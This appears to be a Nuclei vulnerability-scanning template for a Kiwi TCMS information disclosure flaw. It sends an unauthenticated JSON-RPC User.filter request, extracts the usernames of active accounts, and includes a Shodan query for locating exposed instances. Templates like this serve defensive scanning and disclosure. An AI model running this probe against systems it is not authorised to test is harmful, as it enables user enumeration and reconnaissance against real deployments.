id: kiwitcms-json-rpc

info:
  name: Kiwi TCMS Information Disclosure
  author: act1on3
  severity: high
  description: Internal info exposed in Kiwi TCMS.
  reference:
    - https://hackerone.com/reports/968402
    - https://kiwitcms.org/blog/kiwi-tcms-team/2020/08/23/kiwi-tcms-86/
    - https://github.com/act1on3/nuclei-templates/blob/master/vulnerabilities/kiwi-information-disclosure.yaml
  classification:
    cpe: cpe:2.3:a:kiwitcms:kiwi_tcms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kiwitcms
    product: kiwi_tcms
    shodan-query: title:"Kiwi TCMS - Login" http.favicon.hash:-1909533337
  tags: kiwitcms,exposure,misconfig,hackerone

http:
  - raw:
      - |
        POST /json-rpc/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept-Encoding: gzip, deflate

        {"jsonrpc":"2.0","method":"User.filter","id": 1,"params":{"query":{"is_active":true}}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - result
          - username
          - jsonrpc
          - is_active
        condition: and

    extractors:
      - type: json
        part: body
        json:
          - .result[].username
# digest: 4a0a00473045022100dbd1a2c7d5a17f16c3569ac8ba7fdbd05a078bf4109c9c61ceda4ad3f8b1f12c0220760796b8fbf01e08c400685a3ac945bed1a3ba714710b4addad7681826717a6f:922c64590222798bb761d5b6d8e72950